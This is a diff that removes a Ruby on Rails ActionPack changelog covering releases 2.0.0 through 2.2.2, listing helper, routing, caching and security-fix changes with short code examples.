-* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 [Sam Pohlenz]
-
-* Remove deprecated ActionController::Base#assign_default_content_type_and_charset
-
-* Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples:
-
-    # Instead of <%= render :partial => "account" %>
-    <%= render "account" %>
-    
-    # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
-    <%= render "account", :account => @buyer %>
-    
-    # @account is an Account instance, so it uses the RecordIdentifier to replace
-    # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
-    <%= render(@account) %>
-    
-    # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
-    # <%= render :partial => "posts/post", :collection => @posts %>
-    <%= render(@posts) %>
-
-* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
-
-* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them [David Heinemeier Hansson]
-
-
-*2.2.2 (November 21st, 2008)*
-
-* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations.  #1448 [Yaroslav Markin]
-
-* Restore backwards compatible functionality for setting relative_url_root.  Include deprecation
-
-* Switched the CSRF module to use the request content type to decide if the request is forgeable.  #1145 [Jeff Cohen]
-
-* Added :only and :except to map.resources to let people cut down on the number of redundant routes in an application. Typically only useful for huge routesets.  #1215 [Tom Stuart]
-
-   map.resources :products, :only => :show do |product|
-     product.resources :images, :except => :destroy
-   end
-
-* Added render :js for people who want to render inline JavaScript replies without using RJS [David Heinemeier Hansson]
-
-* Fixed that polymorphic_url should compact given array #1317 [hiroshi]
-
-* Fixed the sanitize helper to avoid double escaping already properly escaped entities #683 [antonmos/Ryan McGeary]
-
-* Fixed that FormTagHelper generated illegal html if name contained square brackets #1238 [Vladimir Dobriakov]
-
-* Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 [Bernardo Padua/Tor Erik]
-
-* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) [David Heinemeier Hansson]
-
-* Remove the logging of the Session ID when the session store is CookieStore [David Heinemeier Hansson]
-
-* Fixed regex in redirect_to to fully support URI schemes #1247 [Seth Fitzsimmons]
-
-* Fixed bug with asset timestamping when using relative_url_root #1265 [Joe Goldwasser]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections [packagethief]
-
-* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example:
-
-    class ArticlesController < ApplicationController
-      def show_with_respond_to_block
-        @article = Article.find(params[:id])
-
-
-        # If the request sends headers that differs from the options provided to stale?, then
-        # the request is indeed stale and the respond_to block is triggered (and the options
-        # to the stale? call is set on the response).
-        #
-        # If the request headers match, then the request is fresh and the respond_to block is
-        # not triggered. Instead the default render will occur, which will check the last-modified
-        # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
-        # of rendering the template.
-        if stale?(:last_modified => @article.published_at.utc, :etag => @article)
-          respond_to do |wants|
-            # normal response processing
-          end
-        end
-      end
-
-      def show_with_implied_render
-        @article = Article.find(params[:id])
-
-        # Sets the response headers and checks them against the request, if the request is stale
-        # (i.e. no match of either etag or last-modified), then the default render of the template happens.
-        # If the request is fresh, then the default render will return a "304 Not Modified"
-        # instead of rendering the template.
-        fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
-      end
-    end
-
-
-* Added inline builder yield to atom_feed_helper tags where appropriate [Sam Ruby]. Example:
-
-    entry.summary :type => 'xhtml' do |xhtml|
-      xhtml.p pluralize(order.line_items.count, "line item")
-      xhtml.p "Shipped to #{order.address}"
-      xhtml.p "Paid by #{order.pay_type}"
-    end
-
-* Make PrototypeHelper#submit_to_remote a wrapper around PrototypeHelper#button_to_remote. [Tarmo Tänav]
-
-* Set HttpOnly for the cookie session store's cookie.  #1046 
-
-* Added FormTagHelper#image_submit_tag confirm option #784 [Alastair Brunton]
-
-* Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 [Jose Fernandez]
-
-* Stopped logging template compiles as it only clogs up the log [David Heinemeier Hansson]
-
-* Changed the X-Runtime header to report in milliseconds [David Heinemeier Hansson]
-
-* Changed BenchmarkHelper#benchmark to report in milliseconds [David Heinemeier Hansson]
-
-* Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from:
-
-    Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
-
-  ...to:
-  
-    Completed in 100ms (View: 40, DB: 4) | 200 OK [http://example.com]
-
-* Add support for shallow nesting of routes. #838 [S. Brent Faulkner]
-
-  Example :
-
-  map.resources :users, :shallow => true do |user|
-    user.resources :posts
-  end
-
-  - GET /users/1/posts (maps to PostsController#index action as usual)
-    named route "user_posts" is added as usual.
-
-  - GET /posts/2 (maps to PostsController#show action as if it were not nested)
-    Additionally, named route "post" is added too.
-
-* Added button_to_remote helper.  #3641 [Donald Piret, Tarmo Tänav]
-
-* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master [Pratik Naik]
-
-* Routes may be restricted to lists of HTTP methods instead of a single method or :any.  #407 [Brennan Dunn, Gaius Centus Novus]
-    map.resource :posts, :collection => { :search => [:get, :post] }
-    map.session 'session', :requirements => { :method => [:get, :post, :delete] }
-
-* Deprecated implicit local assignments when rendering partials [Josh Peek]
-
-* Introduce current_cycle helper method to return the current value without bumping the cycle.  #417 [Ken Collins]
-
-* Allow polymorphic_url helper to take url options. #880 [Tarmo Tänav]
-
-* Switched integration test runner to use Rack processor instead of CGI [Josh Peek]
-
-* Made AbstractRequest.if_modified_sense return nil if the header could not be parsed [Jamis Buck]
-
-* Added back ActionController::Base.allow_concurrency flag [Josh Peek]
-
-* AbstractRequest.relative_url_root is no longer automatically configured by a HTTP header. It can now be set in your configuration environment with config.action_controller.relative_url_root [Josh Peek]
-
-* Update Prototype to 1.6.0.2 #599 [Patrick Joyce]
-
-* Conditional GET utility methods.  [Jeremy Kemper]
-    response.last_modified = @post.updated_at
-    response.etag = [:admin, @post, current_user]
-
-    if request.fresh?(response)
-      head :not_modified
-    else
-      # render ...
-    end
-
-* All 2xx requests are considered successful [Josh Peek]
-
-* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run [David Heinemeier Hansson]
-
-* Removed config.action_view.cache_template_loading, use config.cache_classes instead [Josh Peek]
-
-* Get buffer for fragment cache from template's @output_buffer [Josh Peek]
-
-* Set config.action_view.warn_cache_misses = true to receive a warning if you perform an action that results in an expensive disk operation that could be cached [Josh Peek]
-
-* Refactor template preloading. New abstractions include Renderable mixins and a refactored Template class [Josh Peek]
-
-* Changed ActionView::TemplateHandler#render API method signature to render(template, local_assigns = {}) [Josh Peek]
-
-* Changed PrototypeHelper#submit_to_remote to PrototypeHelper#button_to_remote to stay consistent with link_to_remote (submit_to_remote still works as an alias) #8994 [clemens]
-
-* Add :recursive option to javascript_include_tag and stylesheet_link_tag to be used along with :all. #480 [Damian Janowski]
-
-* Allow users to disable the use of the Accept header [Michael Koziarski]
-
-    The accept header is poorly implemented by browsers and causes strange
-	errors when used on public sites where crawlers make requests too.  You
-	can use formatted urls (e.g. /people/1.xml) to support API clients in a
-	much simpler way.
-
-	To disable the header you need to set:
-
-	config.action_controller.use_accept_header = false
-
-* Do not stat template files in production mode before rendering. You will no longer be able to modify templates in production mode without restarting the server [Josh Peek]
-
-* Deprecated TemplateHandler line offset [Josh Peek]
-
-* Allow caches_action to accept cache store options. #416. [José Valim]. Example:
-  
-  caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
-
-* Remove define_javascript_functions, javascript_include_tag and friends are far superior. [Michael Koziarski]
-
-* Deprecate :use_full_path render option. The supplying the option no longer has an effect [Josh Peek]
-
-* Add :as option to render a collection of partials with a custom local variable name. #509 [Simon Jefford, Pratik Naik]
-
-  render :partial => 'other_people', :collection => @people, :as => :person
-  
-  This will let you access objects of @people as 'person' local variable inside 'other_people' partial template.
-
-* time_zone_select: support for regexp matching of priority zones. Resolves #195 [Ernie Miller]
-
-* Made ActionView::Base#render_file private [Josh Peek]
-
-* Refactor and simplify the implementation of assert_redirected_to.  Arguments are now normalised relative to the controller being tested,  not the root of the application.  [Michael Koziarski]
-
-  This could cause some erroneous test failures if you were redirecting between controllers
-  in different namespaces and wrote your assertions relative to the root of the application.
-
-* Remove follow_redirect from controller functional tests.
-
-	If you want to follow redirects you can use integration tests.  The functional test
-	version was only useful if you were using redirect_to :id=>...
-
-* Fix polymorphic_url with singleton resources.  #461 [Tammer Saleh]
-
-* Replaced TemplateFinder abstraction with ViewLoadPaths [Josh Peek]
-
-* Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example:
-
-    <% link_to(@profile) do %>
-      <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
-    <% end %>
-
-* Performance: integration test benchmarking and profiling.  [Jeremy Kemper]
-
-* Make caching more aware of mime types. Ensure request format is not considered while expiring cache.  [Jonathan del Strother]
-
-* Drop ActionController::Base.allow_concurrency flag [Josh Peek]
-
-* More efficient concat and capture helpers. Remove ActionView::Base.erb_variable.  [Jeremy Kemper]
-
-* Added page.reload functionality. Resolves #277. [Sean Huber]
-
-* Fixed Request#remote_ip to only raise hell if the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR doesn't match (not just if they're both present) [Mark Imbriaco, Bradford Folkens]
-
-* Allow caches_action to accept a layout option [José Valim]
-
-* Added Rack processor [Ezra Zygmuntowicz, Josh Peek]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* InstanceTag#default_time_from_options overflows to DateTime [Geoff Buesing]
-
-* Fixed that forgery protection can be used without session tracking (Peter Jones) [#139]
-
-* Added session(:on) to turn session management back on in a controller subclass if the superclass turned it off (Peter Jones) [#136]
-
-* Change the request forgery protection to go by Content-Type instead of request.format so that you can't bypass it by POSTing to "#{request.uri}.xml" [Rick Olson]
-* InstanceTag#default_time_from_options with hash args uses Time.current as default; respects hash settings when time falls in system local spring DST gap [Geoff Buesing]
-
-* select_date defaults to Time.zone.today when config.time_zone is set [Geoff Buesing]
-
-* Fixed that TextHelper#text_field would corrypt when raw HTML was used as the value (mchenryc, Kevin Glowacz) [#80]
-
-* Added ActionController::TestCase#rescue_action_in_public! to control whether the action under test should use the regular rescue_action path instead of simply raising the exception inline (great for error testing) [David Heinemeier Hansson]
-
-* Reduce number of instance variables being copied from controller to view. [Pratik Naik]
-
-* select_datetime and select_time default to Time.zone.now when config.time_zone is set [Geoff Buesing]
-
-* datetime_select defaults to Time.zone.now when config.time_zone is set [Geoff Buesing]
-
-* Remove ActionController::Base#view_controller_internals flag. [Pratik Naik]
-
-* Add conditional options to caches_page method. [Paul Horsfall]
-
-* Move missing template logic to ActionView. [Pratik Naik]
-
-* Introduce ActionView::InlineTemplate class. [Pratik Naik]
-
-* Automatically parse posted JSON content for Mime::JSON requests.  [Rick Olson]
-
-  POST /posts
-  {"post": {"title": "Breaking News"}}
-
-  def create
-    @post = Post.create params[:post]
-    # ...
-  end
-
-* add json_escape ERB util to escape html entities in json strings that are output in HTML pages. [Rick Olson]
-
-* Provide a helper proxy to access helper methods from outside views. Closes #10839 [Josh Peek]
-  e.g. ApplicationController.helpers.simple_format(text)
-
-* Improve documentation. [Xavier Noria, leethal, jerome]
-
-* Ensure RJS redirect_to doesn't html-escapes string argument. Closes #8546 [Josh Peek, eventualbuddha, Pratik Naik]
-
-* Support render :partial => collection of heterogeneous elements.  #11491 [Zach Dennis]
-
-* Avoid remote_ip spoofing.  [Brian Candler]
-
-* Added support for regexp flags like ignoring case in the :requirements part of routes declarations #11421 [NeilW]
-
-* Fixed that ActionController::Base#read_multipart would fail if boundary was exactly 10240 bytes #10886 [ariejan]
-
-* Fixed HTML::Tokenizer (used in sanitize helper) didn't handle unclosed CDATA tags #10071 [esad, packagethief]
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
-
-* Fixed that FormHelper#radio_button would produce invalid ids #11298 [harlancrystal]
-
-* Added :confirm option to submit_tag #11415 [Emilio Tagua]
-
-* Fixed NumberHelper#number_with_precision to properly round in a way that works equally on Mac, Windows, Linux (closes #11409, #8275, #10090, #8027) [zhangyuanyi]
-
-* Allow the #simple_format text_helper to take an html_options hash for each paragraph.  #2448 [François Beausoleil, Chris O'Sullivan]
-
-* Fix regression from filter refactoring where re-adding a skipped filter resulted in it being called twice.  [Rick Olson]
-
-* Refactor filters to use Active Support callbacks.  #11235 [Josh Peek]
-
-* Fixed that polymorphic routes would modify the input array #11363 [thomas.lee]
-
-* Added :format option to NumberHelper#number_to_currency to enable better localization support #11149 [lylo]
-
-* Fixed that TextHelper#excerpt would include one character too many #11268 [Irfy]
-
-* Fix more obscure nested parameter hash parsing bug.  #10797 [thomas.lee]
-
-* Added ActionView::Helpers::register_javascript/stylesheet_expansion to make it easier for plugin developers to inject multiple assets.  #10350 [lotswholetime]
-
-* Fix nested parameter hash parsing bug.  #10797 [thomas.lee]
-
-* Allow using named routes in ActionController::TestCase before any request has been made. Closes #11273 [Eloy Duran]
-
-* Fixed that sweepers defined by cache_sweeper will be added regardless of the perform_caching setting. Instead, control whether the sweeper should be run with the perform_caching setting. This makes testing easier when you want to turn perform_caching on/off [David Heinemeier Hansson]
-
-* Make MimeResponds::Responder#any work without explicit types. Closes #11140 [jaw6]
-
-* Better error message for type conflicts when parsing params.  Closes #7962 [spicycode, matt]
-
-* Remove unused ActionController::Base.template_class. Closes #10787 [Pratik Naik]
-
-* Moved template handlers related code from ActionView::Base to ActionView::Template. [Pratik Naik]
-
-* Tests for div_for and content_tag_for helpers. Closes #11223 [Chris O'Sullivan]
-
-* Allow file uploads in Integration Tests.  Closes #11091 [RubyRedRick]
-
-* Refactor partial rendering into a PartialTemplate class. [Pratik Naik]
-
-* Added that requests with JavaScript as the priority mime type in the accept header and no format extension in the parameters will be treated as though their format was :js when it comes to determining which template to render. This makes it possible for JS requests to automatically render action.js.rjs files without an explicit respond_to block  [David Heinemeier Hansson]
-
-* Tests for distance_of_time_in_words with TimeWithZone instances. Closes #10914 [Ernesto Jimenez]
-
-* Remove support for multivalued (e.g., '&'-delimited) cookies. [Jamis Buck]
-
-* Fix problem with render :partial collections, records, and locals. #11057 [lotswholetime] 
-
-* Added support for naming concrete classes in sweeper declarations [David Heinemeier Hansson]
-
-* Remove ERB trim variables from trace template in case ActionView::Base.erb_trim_mode is changed in the application.  #10098 [Tim Pope, Chris Kampmeier]
-
-* Fix typo in form_helper documentation.  #10650 [Xavier Shay, Chris Kampmeier]
-
-* Fix bug with setting Request#format= after the getter has cached the value.  #10889 [cch1]
-
-* Correct inconsistencies in RequestForgeryProtection docs.  #11032 [Mislav Marohnić]
-
-* Introduce a Template class to ActionView.  #11024 [Pratik Naik]
-
-* Introduce the :index option for form_for and fields_for to simplify multi-model forms (see http://railscasts.com/episodes/75).  #9883 [rmm5t]
-
-* Introduce map.resources :cards, :as => 'tarjetas' to use a custom resource name in the URL: cards_path == '/tarjetas'.  #10578 [blj]
-
-* TestSession supports indifferent access.  #7372 [tamc, Arsen7, mhackett, julik, jean.helou]
-
-* Make assert_routing aware of the HTTP method used.  #8039 [mpalmer]
-  e.g. assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
-
-* Make map.root accept a single symbol as an argument to declare an alias.  #10818 [bscofield] 
-
-  e.g.  map.dashboard '/dashboard', :controller=>'dashboard'
-        map.root      :dashboard
-
-* Handle corner case with image_tag when passed 'messed up' image names. #9018 [Duncan Beevers, mpalmer]
-
-* Add label_tag helper for generating elements. #10802 [DefV]
-
-* Introduce TemplateFinder to handle view paths and lookups.  #10800 [Pratik Naik] 
-
-* Performance: optimize route recognition. Large speedup for apps with many resource routes.  #10835 [oleganza]
-
-* Make render :partial recognise form builders and use the _form partial.  #10814 [Damian Janowski]
-
-* Allow users to declare other namespaces when using the atom feed helpers. #10304 [david.calavera]
-
-* Introduce send_file :x_sendfile => true to send an X-Sendfile response header.  [Jeremy Kemper]
-
-* Fixed ActionView::Helpers::ActiveRecordHelper::form for when protect_from_forgery is used #10739 [Jeremy Evans]
-
-* Provide nicer access to HTTP Headers.  Instead of request.env["HTTP_REFERRER"] you can now use request.headers["Referrer"]. [Michael Koziarski]
-
-* UrlWriter respects relative_url_root.  #10748 [Cheah Chu Yeow]
-
-* The asset_host block takes the controller request as an optional second argument. Example: use a single asset host for SSL requests.  #10549 [Cheah Chu Yeow, Peter B, Tom Taylor]
-
-* Support render :text => nil.  #6684 [tjennings, PotatoSalad, Cheah Chu Yeow]
-
-* assert_response failures include the exception message.  #10688 [Seth Rasmussen]
-
-* All fragment cache keys are now by default prefixed with the "views/" namespace [David Heinemeier Hansson]
-
-* Moved the caching stores from ActionController::Caching::Fragments::* to ActiveSupport::Cache::*. If you're explicitly referring to a store, like ActionController::Caching::Fragments::MemoryStore, you need to update that reference with ActiveSupport::Cache::MemoryStore [David Heinemeier Hansson]
-
-* Deprecated ActionController::Base.fragment_cache_store for ActionController::Base.cache_store [David Heinemeier Hansson]
-
-* Made fragment caching in views work for rjs and builder as well #6642 [Dee Zsombor]
-
-* Fixed rendering of partials with layout when done from site layout #9209 [antramm]
-
-* Fix atom_feed_helper to comply with the atom spec.  Closes #10672 [Xavier Shay]
-
-  * The tags created do not contain a date (http://feedvalidator.org/docs/error/InvalidTAG.html)
-  * IDs are not guaranteed unique
-  * A default self link was not provided, contrary to the documentation
-  * NOTE:  This changes tags for existing atom entries, but at least they validate now.
-
-* Correct indentation in tests.  Closes #10671 [Luca Guidi]
-
-* Fix that auto_link looks for ='s in url paths (Amazon urls have them).  Closes #10640 [Brad Greenlee]
-
-* Ensure that test case setup is run even if overridden.  #10382 [Josh Peek]
-
-* Fix HTML Sanitizer to allow trailing spaces in CSS style attributes.  Closes #10566 [wesley.moxam]
-
-* Add :default option to time_zone_select.  #10590 [Matt Aimonetti]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Added delete_via_redirect and put_via_redirect to integration testing #10497 [philodespotos]
-
-* Allow headers['Accept'] to be set by hand when calling xml_http_request #10461 [BMorearty]
-
-* Added OPTIONS to list of default accepted HTTP methods #10449 [holoway]
-
-* Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example:
-
-    ActionController::Base.asset_host = Proc.new { |source|
-      if source.starts_with?('/images')
-        "http://images.example.com"
-      else
-        "http://assets.example.com"
-      end
-    }
-
-* Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 [dbussink]
-
-* Added that Array#to_param calls to_param on all it's elements #10473 [brandon]
-
-* Ensure asset cache directories are automatically created.  #10337 [Josh Peek, Cheah Chu Yeow]
-
-* render :xml and :json preserve custom content types.  #10388 [jmettraux, Cheah Chu Yeow]
-
-* Refactor Action View template handlers.  #10437, #10455 [Josh Peek]
-
-* Fix DoubleRenderError message and leave out mention of returning false from filters.  Closes #10380 [Frederick Cheung]
-
-* Clean up some cruft around ActionController::Base#head.  Closes #10417 [ssoroka]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Fixed send_file/binary_content for testing #8044 [tolsen]
-
-* When a NonInferrableControllerError is raised, make the proposed fix clearer in the error message. Closes #10199 [Jack Danger Canty]
-
-* Update Prototype to 1.6.0.1.  [sam]
-
-* Update script.aculo.us to 1.8.0.1.  [madrobby]
-
-* Add 'disabled' attribute to <OPTION> separators used in time zone and country selects.  Closes #10354 [Josh Susser]
-
-* Added the same record identification guessing rules to fields_for as form_for has [David Heinemeier Hansson]
-
-* Fixed that verification violations with no specified action didn't halt the chain (now they do with a 400 Bad Request) [David Heinemeier Hansson]
-
-* Raise UnknownHttpMethod exception for unknown HTTP methods. Closes #10303 [Tarmo Tänav]
-
-* Update to Prototype -r8232.  [sam]
-
-* Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Michael Koziarski] #10292
-
-* Added protection from trailing slashes on page caching #10229 [devrieda]
-
-* Asset timestamps are appended, not prepended. Closes #10276 [Mike Naberezny]
-
-* Minor inconsistency in description of render example. Closes #10029 [ScottSchram]
-
-* Add #prepend_view_path and #append_view_path instance methods on ActionController::Base for consistency with the class methods.  [Rick Olson]
-
-* Refactor sanitizer helpers into HTML classes and make it easy to swap them out with custom implementations.  Closes #10129.  [Rick Olson]
-
-* Add deprecation for old subtemplate syntax for ActionMailer templates, use render :partial [Rick Olson]
-
-* Fix TemplateError so it doesn't bomb on exceptions while running tests [Rick Olson]
-
-* Fixed that named routes living under resources shouldn't have double slashes #10198 [Isaac Feliu]
-
-* Make sure that cookie sessions use a secret that is at least 30 chars in length. [Michael Koziarski]
-
-* Fixed that partial rendering should look at the type of the first render to determine its own type if no other clues are available (like when using text.plain.erb as the extension in AM) #10130 [java]
-
-* Fixed that has_many :through associations should render as collections too #9051 [mathie/Jack Danger Canty]
-
-* Added :mouseover short-cut to AssetTagHelper#image_tag for doing easy image swaps #6893 [joost]
-
-* Fixed handling of non-domain hosts #9479 [purp]
-
-* Fix syntax error in documentation example for cycle method. Closes #8735 [foca]
-
-* Document :with option for link_to_remote. Closes #8765 [Ryan Bates]
-
-* Document :minute_step option for time_select. Closes #8814 [brupm]
-
-* Explain how to use the :href option for link_to_remote to degrade gracefully in the absence of JavaScript. Closes #8911 [vlad]
-
-* Disambiguate :size option for text area tag. Closes #8955 [redbeard]
-
-* Fix broken tag in assert_tag documentation. Closes #9037 [mfazekas]
-
-* Add documentation for route conditions. Closes #9041 [innu, Manfred Stienstra]
-
-* Fix typo left over from previous typo fix in url helper. Closes #9414 [Henrik N]
-
-* Fixed that ActionController::CgiRequest#host_with_port() should handle standard port #10082 [moro]
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0.  [sam, madrobby]
-
-* Expose the cookie jar as a helper method (before the view would just get the raw cookie hash) [David Heinemeier Hansson]
-
-* Integration tests: get_ and post_via_redirect take a headers hash.  #9130 [simonjefford]
-
-* Simplfy #view_paths implementation.  ActionView templates get the exact object, not a dup.  [Rick Olson]
-
-* Update tests for ActiveSupport's JSON escaping change.  [Rick Olson]
-
-* FormHelper's auto_index should use #to_param instead of #id_before_type_cast.  Closes #9994 [mattly]
-
-* Doc typo fixes for ActiveRecordHelper. Closes #9973 [mikong]
-
-* Make example parameters in restful routing docs idiomatic. Closes #9993 [Jack Danger Canty]
-
-* Make documentation comment for mime responders match documentation example.  Closes #9357 [yon]
-
-* Introduce a new test case class for functional tests.  ActionController::TestCase. [Michael Koziarski]
-
-* Fix incorrect path in helper rdoc. Closes #9926 [viktor tron]
-
-* Partials also set 'object' to the default partial variable.  #8823 [Nick Retallack, Jeremy Kemper]
-
-* Request profiler.  [Jeremy Kemper]
-    $ cat login_session.rb
-    get_with_redirect '/'
-    say "GET / => #{path}"
-    post_with_redirect '/sessions', :username => 'john', :password => 'doe'
-    say "POST /sessions => #{path}"
-    $ ./script/performance/request -n 10 login_session.rb
-
-* Disabled checkboxes don't submit a form value.  #9301 [vladr, robinjfisher]
-
-* Added tests for options to ActiveRecordHelper#form. Closes #7213 [richcollins, mikong, Mislav Marohnić]
-
-* Changed before_filter halting to happen automatically on render or redirect but no longer on simply returning false [David Heinemeier Hansson]
-
-* Ensure that cookies handle array values correctly.  Closes #9937 [queso]
-
-* Make sure resource routes don't clash with internal helpers like javascript_path, image_path etc.  #9928 [Geoff Buesing]
-
-* caches_page uses a single after_filter instead of one per action.  #9891 [Pratik Naik]
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0.  [sam, madrobby]
-
-* Dispatcher: fix that to_prepare should only run once in production.  #9889 [Nathaniel Talbott]
-
-* Memcached sessions: add session data on initialization; don't silently discard exceptions; add unit tests.  #9823 [kamk]
-
-* error_messages_for also takes :message and :header_message options which defaults to the old "There were problems with the following fields:" and "<count> errors prohibited this <object_name> from being saved".  #8270 [rmm5t, zach-inglis-lt3]
-
-* Make sure that custom inflections are picked up by map.resources.  #9815 [Mislav Marohnić]
-
-* Changed SanitizeHelper#sanitize to only allow the custom attributes and tags when specified in the call [David Heinemeier Hansson]
-
-* Extracted sanitization methods from TextHelper to SanitizeHelper [David Heinemeier Hansson]
-
-* rescue_from accepts :with => lambda { |exception| ... } or a normal block.  #9827 [Pratik Naik]
-
-* Add :status to redirect_to allowing users to choose their own response code without manually setting headers. #8297 [Coda Hale, chasgrundy]
-
-* Add link_to :back which uses your referrer with a fallback to a javascript link. #7366 [eventualbuddha, Tarmo Tänav]
-
-* error_messages_for and friends also work with local variables.  #9699 [Frederick Cheung]
-
-* Fix url_for, redirect_to, etc. with :controller => :symbol instead of 'string'.  #8562, #9525 [Justin Lynn, Tarmo Tänav, shoe]
-
-* Use #require_library_or_gem to load the memcache library for the MemCache session and fragment cache stores.  Closes #8662. [Rick Olson]
-
-* Move ActionController::Routing.optimise_named_routes to ActionController::Base.optimise_named_routes.  Now you can set it in the config. [Rick Olson]
-
-  config.action_controller.optimise_named_routes = false
-
-* ActionController::Routing::DynamicSegment#interpolation_chunk should call #to_s on all values before calling URI.escape.  [Rick Olson]
-
-* Only accept session ids from cookies, prevents session fixation attacks.  [bradediger] 
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.12.2 - 1.13.3]
-
-* Fixed that render template did not honor exempt_from_layout #9698 [pezra]
-
-* Better error messages if you leave out the :secret option for request forgery protection.  Closes #9670 [Rick Olson]
-
-* Allow ability to disable request forgery protection, disable it in test mode by default.  Closes #9693 [Pratik Naik]
-
-* Avoid calling is_missing on LoadErrors. Closes #7460. [ntalbott]
-
-* Move Railties' Dispatcher to ActionController::Dispatcher, introduce before_ and after_dispatch callbacks, and warm up to non-CGI requests.  [Jeremy Kemper]
-
-* The tag helper may bypass escaping.  [Jeremy Kemper]
-
-* Cache asset ids.  [Jeremy Kemper]
-
-* Optimized named routes respect AbstractRequest.relative_url_root.  #9612 [Daniel Morrison, Jeremy Kemper]
-
-* Introduce ActionController::Base.rescue_from to declare exception-handling methods. Cleaner style than the case-heavy rescue_action_in_public.  #9449 [Norbert Crombach]
-
-* Rename some RequestForgeryProtection methods.  The class method is now #protect_from_forgery, and the default parameter is now 'authenticity_token'.  [Rick Olson]
-
-* Merge csrf_killer plugin into rails.  Adds RequestForgeryProtection model that verifies session-specific _tokens for non-GET requests.  [Rick Olson]
-
-* Secure #sanitize, #strip_tags, and #strip_links helpers against xss attacks.  Closes #8877. [Rick Olson, Pratik Naik, Jacques Distler]
-
-  This merges and renames the popular white_list helper (along with some css sanitizing from Jacques Distler version of the same plugin).
-  Also applied updated versions of #strip_tags and #strip_links from #8877.
-
-* Remove use of & logic operator. Closes #8114. [watson]
-
-* Fixed JavaScriptHelper#escape_javascript to also escape closing tags #8023 [Ruy Asan]
-
-* Fixed TextHelper#word_wrap for multiline strings with extra carrier returns #8663 [seth]
-
-* Fixed that setting the :host option in url_for would automatically turn off :only_path (since :host would otherwise not be shown) #9586 [Bounga]
-
-* Added FormHelper#label.  #8641, #9850 [jcoglan, Jarkko Laine]
-
-* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) [David Heinemeier Hansson]
-
-* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar).   map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item.  [Michael Koziarski]
-
-* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 [Pratik Naik, Mark Somerville]
-
-* Don't warn when a path segment precedes a required segment. Closes #9615. [Nicholas Seckar]
-
-* Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
-
-* Added Mime::Type.register_alias for dealing with different formats using the same mime type [David Heinemeier Hansson]. Example:
-
-    class PostsController < ApplicationController
-      before_filter :adjust_format_for_iphone
-
-      def index
-        @posts = Post.find(:all)
-        
-        respond_to do |format|
-          format.html   # => renders index.html.erb and uses "text/html" as the content type
-          format.iphone # => renders index.iphone.erb and uses "text/html" as the content type
-        end
-      end
-
-
-      private
-        def adjust_format_for_iphone
-          if request.env["HTTP_USER_AGENT"] && request.env["HTTP_USER_AGENT"][/iPhone/]
-            request.format = :iphone
-          end
-        end
-    end
-
-* Added that render :json will automatically call .to_json unless it's being passed a string [David Heinemeier Hansson].
-
-* Autolink behaves well with emails embedded in URLs.  #7313 [Jeremy McAnally, Tarmo Tänav]
-
-* Fixed that default layouts did not take the format into account #9564 [Pratik Naik]
-
-* Fixed optimized route segment escaping.  #9562 [wildchild, Jeremy Kemper]
-
-* Added block acceptance to JavaScriptHelper#javascript_tag.  #7527 [Bob Silva, Tarmo Tänav, rmm5t]
-
-* root_path returns '/' not ''.  #9563 [Pratik Naik]
-
-* Fixed that setting request.format should also affect respond_to blocks [David Heinemeier Hansson]
-
-* Add option to force binary mode on tempfile used for fixture_file_upload.  #6380 [Jonathan Viney]
-
-* Fixed that resource namespaces wouldn't stick to all nested resources #9399 [pixeltrix]
-
-* Moved ActionController::Macros::AutoComplete into the auto_complete plugin on the official Rails svn.  #9512 [Pratik Naik]
-
-* Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn.  #9513 [Pratik Naik]
-
-* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb [David Heinemeier Hansson]
-
-* Removed deprecated methods [David Heinemeier Hansson]:
-
